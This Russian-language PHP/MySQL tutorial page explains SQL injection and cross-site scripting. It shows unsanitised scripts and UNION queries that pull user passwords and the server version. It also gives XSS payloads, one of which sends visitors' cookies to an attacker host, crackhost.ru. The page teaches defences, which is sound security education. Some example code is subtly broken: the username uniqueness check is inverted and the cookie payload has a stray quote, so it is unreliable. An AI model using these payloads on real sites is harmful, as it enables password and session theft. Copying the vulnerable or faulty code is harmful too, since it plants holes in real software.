ресурс для начинающих веб-разработчиков
комплексные веб-услуги по созданию сайтов

Справочный материал по основным языкам программирования и верстки сайтов.

Готовая методика создания простых и сложных динамичных сайтов, с использованием PHP и MySQL.

Использование веб-редактора Adobe Dreamweaver в разработке сайтов.

Использование графических редакторов Adobe Flash, Adobe Photoshop, Adobe Fireworks в подготовке веб-графики.

Разработка веб-сайтов под "ключ".

Разработка отдельных фрагментов сайтов, консультации по вопросам верстки веб-страниц и веб-программирования.

SQL-инъекции. XSS-инъекции

SQL-инъекции

Пусть имеется таблица пользователей userlist, которая содержит пять столбцов:

  • id_user —первичный ключ таблицы, обладающий атрибутом AUTO_INCREMENT;
  • name —имя пользователя;
  • pass —его пароль;
  • email —адрес электронной почты пользователя;
  • url —адрес домашней страницы пользователя;

Таблица userlist:

Таблица userlist

Заполним таблицу userlist

Заполним таблицу userlist

Список всех пользователей, включенных в таблицу userlist, выводится при помощи скрипта. Имя каждого из пользователей является гиперссылкой вида <a href = user.php?id_user=1>name</a>, где 1— первичный ключ записи в таблице userlist, а name —имя пользователя.

Список пользователей

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist ORDER BY name";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
while($user=mysql_fetch_array($usr))
{
echo "<a href=user.php?id_user=$user[id_user]>$user[name]</a><br>";
}
?>

Вывод информации обо всех посетителях выполняется на странице user.php.

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=$_GET[id_user]";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>

Как видно из скрипта, GET-параметр id_user подставляется в SQL-запрос без всякой проверки — это позволяет злоумышленнику осуществлять SQL-инъекцию.

Вместо числа в SQL-запрос

SELECT*FROM userlist WHERE id_user = 1

может быть внедрена произвольная строка. Так, если в строку запроса подставить значение 'какой-то%20текст', то скрипт выдаст сообщение об ошибке.

Примечание. Символ %20 обозначает пробел. Запоминать коды недопустимых символов необязательно, корректную для URL строку всегда можно получить, пропустив текст через функцию urlencode().

Попытка вставки вместо числового значения строки:

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user='\какой-то текст\' ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>

Воспользовавшись конструкцией UNION, можно добавить еще один запрос того же формата, что и первый.

Использование конструкции UNION:

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT*FROM userlist WHERE id_user=2 "
;
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>

Результирующая таблица будет содержать записи как первого, так и второго запроса.

Записи, возвращаемые запросом:

Записи, возвращаемые запросом

Тем не менее, на странице по-прежднему выводится информация о посетителе с первичным ключем 1.

Как видно, результаты выводятся только для самого первого запроса, так как в коде присутствует только один вызов функции mysql_fetch_array() и, следовательно, все последующие записи игнорируются. Первой задачей злоумышленника является вывод в окно браузера результатов второго запроса из конструкции UNION, так как первый запрос изменить уже нельзя. Для реализации этой задачи можно воспользоваться двумя способами. Первый из них заключается в формировании такого условия первого запроса, которое заведомо не выполнимо. Для этого переменной id_user можно присвоить отрицательное значение. Поскольку первичный ключ принимает только положительные значения, можно гарантировать, что первый запрос не вернет ни одной записи.

Подавление вывода первого запроса:

Подавление вывода первого запроса

Передача управления второму SELECT-запросу из конструкции UNION:

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=-1
UNION
SELECT*FROM userlist WHERE id_user=2 "
;
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>

В результате такой инъекции в действие вступает второй SELECT-запрос из конструкции UNION, благодаря которому выводится информация о пользователе с первичным ключем 2.

Иногда передать управление второму SELECT-запросу описанным приемом сложно, поэтому прибегают к конструкции ORDER BY, которая сортирует результаты запросов так, чтобы результаты из инъекционного запроса оказались в начале. В нашем случае можно подвергнуть результаты обратной сортировки по параметру id_user. Для осуществления такой операции необходимо использовать конструкцию ORDER BY id_user DESC, которая размещается в конце конструкции UNION.

Сортировка результатов:

Сортировка результатов

Пока манипуляции записями были достаточно безобидными, однако SQL-инъекции позволяют извлекать произвольные поля формы, в том числе и пароль, вывод которого не предусматривает скрипт из user.php. Для этого злоумышленники расшифровывают символ * во втором запросе.

Расшифровка символа * в инъекционном запросе:

Расшифровка символа * в инъекционном запросе

Количество полей во втором запросе должно совпадать с количеством столбцов из первого SELECT-запроса, иначе СУБД отклонит запрос как ошибочный. Столбцы name и pass являются текстовыми, поэтому ничего не мешает нам поменять их местами.

Перемена местами полей name и pass:

Перемена местами полей name и pass

Так как имена столбцов формируются по первому запросу, вместо имени пользователя (name) подставляется его пароль (pass).

Вывод пароля пользователя в окно браузера:

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT id_user, pass, name, email, url FROM userlist WHERE id_user=2
ORDER BY id_user DESC"
;
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>

Примечание. Конструкция UNION применяется только совместно с SELECT-запросами, поэтому деструктивных действий такая SQL-инъекция не несет, если пароли не предоставляют доступ к панели управления, при помощи которых эти действия можно осуществить.

Помимо просмотра скрытых столбцов, SQL-инъекция могут быть использованы для получения другой разнообразной информации, например, версии MySQL-сервера. Для решения этой задачи можно воспользоваться тем фактом, что в списке столбцов могут находиться внутренние функции MySQL. Поэтому для достижения цели достаточно модернизировать инъекционный запрос таким образом, чтобы вместо поля name стоял вызов функции VERSION().

Определяем версию сервера MySQL:

Определяем версию сервера MySQL

Определение версии MySQL-сервера:

<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT id_user, VERSION(), pass, email, url FROM userlist WHERE id_user=2
ORDER BY id_user DESC"
;
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>

Для того, чтобы избежать взлома по SQL-инъекции, следует проверять числовые параметры, при помощи регулярных выражений или осуществлять явное приведение типа при помощи конструкции intval(). SQL-инъекция может осуществляться не только по числовому полю, но и по текстовому.

Поиск пользователя по имени:

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Поиск пользователя по имени</title>
</head>

<body>
<table width="200" border="1" >
<form action="" method="post">
<tr>
<td> Имя</td>
<td> <input name="name" type="text" value="<?=$_POST['name'] ?>" size="30"></td>
</tr>
<tr>
<td> </td>
<td> <input name="" type="submit" value="Искать"></td>
</tr>
</form>
</table>
<?php
if(!empty($_POST))
{
//Устанавливаем соединение с базой данных
require_once("../../config/config.php");
//Производим поиск пользователя с именем $_POST['name']
$query="SELECT*FROM userlist
WHERE name
LIKE '$_POST[name]%'
ORDER BY name"
;
$usr=mysql_query($query);
if(!$usr) exit ("Ошибка -".mysql_error());
while($user=mysql_fetch_array($usr))
{
echo "Имя пользователя - $user[name]<br>";
}
}
?>
</body>
</html>

В окне веб-браузера это будет выглядеть ТАК.

В текстовой области в HTML-формы достаточно ввести часть имени, чтобы вывести список всех похожих имен. Если в качестве имени указывается пустая строка, то извлекаются имена всех зарегистрированных пользователей.

XSS-инъекции

XSS-инъекции или межсайтовый скриптинг — это атака, которая позволяет злоумышленнику вставлять в HTML-код сайта вставки вредоносного HTML-кода, как правило, скрипты JavaScript.

Примечание. XSS расшифровывается как Cross-Site-Scripting, однако аббревиатура CSS не используется, чтобы не путать это сокращение с каскадными таблицами стилей — Cascading Style Sheets.

Для демонстрации уязвимости данного типа разработаем простейшую систему регистрации пользователей, информация о которых будет помещаться в текстовой файл text.txt следующего формата:

имя пользователя :: пароль :: e-mail :: url

Имя пользователя, его пароль, адрес электронной почты (e-mail) и адрес домашней страницы разделяются последовательностью ::.

Файл text.txt

igor::1234::igor@mail.ru::http://www.stroy.ru
cheops::dwfrt::cheops@mail.ru::http://www.stroy.ru
wet::gordon:: ::

Для регистрации нам понадобится HTML-форма, состоящая из трех текстовых полей (имя, e-mail, и URL), двух полей типа password для пароля и его подтверждения и кнопка, позволяющая отправить данные обработчику.

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Регистрация пользователей</title>
</head>

<body>
<table width="200" border="0" cellpadding="0">
<form action="" method="post">
<tr>
<td> Имя:</td>
<td><input name="name" type="text" size="30"></td>
</tr>
<tr>
<td> Пароль:</td>
<td><input name="pass" type="password" size="30"></td>
</tr>
<tr>
<td> Пароль:</td>
<td><input name="pass_again" type="password" size="30"></td>
</tr>
<tr>
<td> E-mail:</td>
<td><input name="email" type="text" size="30"></td>
</tr>
<tr>
<td> URL:</td>
<td><input name="url" type="text" size="30"></td>
</tr>
<tr>
<td> </td>
<td><input value="Зарегистрировать" type="submit"></td>
</tr>
</form>
</table>
<?php
//Обработчик HTML-формы
///////////////////////////////////////////////////////////
//1. Блок проверки правильности ввода данных
//////////////////////////////////////////////////////////
//Удаляем лишние пробелы
$_POST['name']=trim($_POST['name']);
$_POST['pass']=trim($_POST['pass']);
$_POST['pass_again']=trim($_POST['pass_again']);
//Проверяем не пустой ли суперглобальный массив $_POST
if(empty($_POST['name'])) exit();
//Проверяем, правильно ли заполнены обязательные поля
if(empty($_POST['name']))exit('Поле "Имя" не заполнено');
if(empty($_POST['pass']))exit('Одно из полей "Пароль" не заполнено');
if(empty($_POST['pass_again']))exit('Одно из полей "Пароль" не заполнено');
if($_POST['pass']!=$_POST['pass_again']) exit("Пароли не совпадают");
//Если введен E-mail, проверяем его на корректность
if(!empty($_POST['email']))
{
if(!preg_match("|^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6}$|i", $_POST['email']))
{
exit('Поле "E-mail" должно соответствовать формату somebody@somewhere.ru');
}
}
//////////////////////////////////////////////////////////////////////
//2. Блок проверки имени на уникальность
/////////////////////////////////////////////////////////////////////
//Имя файла данных
$filename= "text.txt";
//Проверяем, не было ли переданное имя зарегистрировано ранее
$arr=file($filename);
foreach($arr as $line)
{
//Разбиваем строку по разделителю ::
$data=explode("::", $line);
//В массив $temp помещаем имена уже зарегистрированных посетителей
$temp[]=$data[0];
}
//Проверяем, не содержит ли текущее имя в массиве имен $temp
if(!in_array($_POST['name'], $temp))
{
exit("Данное имя уже зарегистрировани, пожалуйста выберите другое");
}
///////////////////////////////////////////////////////////////////////
//3. Блок регистрации пользователя
//////////////////////////////////////////////////////////////////////
//Помещаем данные в текстовой файл
$fd=fopen($filename, "a");
if(!$fd) exit("Ошибка при открытии файла данных");
$str=$_POST['name']."::".
$_POST['pass']."::".
$_POST['email']."::".
$_POST['url']. "\r\n";
fwrite($fd, $str);
fclose($fd);
//Осуществляем перезагрузку страницы,
//чтобы сбросить POST-данные
echo "<html><head>
<META HTTP-EQUIV='Refresh' CONTENT='0; URL=$_SERVER[PHP_SELF]'>
</head></html>"
;
?>
</body>
</html>

Как видно из скрипта, обработчик состоит из трех блоков:

  • блок проверки правильности ввода данных;
  • блок проверки имени на уникальность;
  • блок регистрации пользователя.

Первый блок проверяет правильность заполнения HTML-формы; заполнены ли обязательные поля (имя, пароль); равны ли друг другу введенные пароли; если введен E-mail, нет ли ошибки в его синтаксисе.

Второй блок открывает файл данных text.txt и читает из него имена уже зарегистрированных пользователей. Если имя, которое ввел пользователь, совпадает с одним из зарегистрированных имен, то работа скрипта прерывается, а пользователю предлагается выбрать какое-то другое имя.

Последний блок формирует строку в формате файла text.txt и дописывает ее в файл. После этого осуществляется перезагрезка скрипта для обнуления POST-данных. Если перезагрузку не произвести, то обновление страницы пользователем приведет к повторной попытке поместить данные в text.txt.

Вывод списка пользователей:

<?php
// Имя файла данных
$filename = "text.txt";
// Проверяем, не было ли переданное имя
// зарегистрировано ранее
$arr = file($filename);
foreach($arr as $line)
{
// Разбиваем строку по разделителю ::
$data = explode("::",$line);
// Если файл сформирован в Windows,
// последний элемент будет содержать
// на конце символ \r - избавляемся от него
$data[3] = trim($data[3]);
// Если выбран текущий пользователь,
// сохраняем данные
if($_GET['name'] == $data[0])
{
$name = $data[0];
$email = $data[2];
$url = $data[3];
}

// Формируем список посетителей
echo "<a href=$_SERVER[PHP_SELF]?name=$data[0]>".
htmlspecialchars($data[0])."</a><br>";
}
if(isset($_GET['name']))
{
// В массив $temp помещаем имена уже зарегистрированных
// посетителей
echo "Имя - ".htmlspecialchars($name)."<br>";
if(!empty($email)) echo "e-mail - ".htmlspecialchars($email)."<br>";
if(!empty($url)) echo "URL - ".htmlspecialchars($url)."<br>";
echo "<br>";
}
?>

После применения к строке файла text.txt функции explode() получаем массив $data, состоящий из четырех элементов, первый элемент которого $data[0] содержит имя, второй $data[1] — пароль, третий $data[2] — адрес электронной почты (E-mail), а четвертый $data[3] — адрес домашней странички (URL). Перевод строк в файле text.txt осуществляется в формате операционной системы Windows при помощи последовательности \r\n. В тоже время функция explode(), разбивающая строку на подстроки, ориентируется на переводы строк в формате UNIX, где для этого используется лишь один символ \n. Поэтому последний элемент всегда содержит невидимый символ \r, избавиться от которого можно, пропустив через функцию trim(), которая удаляет начальные и конечные пробельные символы.

Уязвимая строка:

<?php

. . .

echo "<a href=$_SERVER[PHP_SELF]?name=$data[0]>".
htmlspecialchars($data[0])."</a><br>";

. . .

?>

Имя ссылки подвергается обработке функцией htmlspecialchars(), а параметр name — нет. Если вместо него теперь подставить выражение

new_user><script>alert('Hello world!')</script

это позволит выполнить скрипт JavaScript, выводящий надпись Hello wold!. Для этого достаточно зарегистрировть пользователя с таким именем.

Регистрация пользователя

В результате каждому посетителю, просматривающему список пользователей, будет выводиться диалоговое окно с надписью Hello wold!.

Регистрация пользователя

Однако работа, выполняемая XSS-скриптом, может быть гораздо более опастной, например, посетители могут пренаправляться на другой сайт. Для этого достаточно использовать XSS-инъекцию вида:

new_user><script>location.href = 'http://www.crackhost.ru';</script

Более того, можно похищать cookie и пароли в них, если перенаправлять их в GET-параметре (на сайте www.crackhost.ru должен быть подготовлен файл index.php для сбора и сохранения параметра cookie в файл или базу данных).

new_user><script>location.href='http://www.crackhost.ru/index.php?cookie='+escape(document.cookie)';</script

Для защиты от уязвимости такого рода необходимо подвергать обработке функцией htmlspecialchars() любые данные, которые поступают с компьютера клиента и выводятся в окно браузера.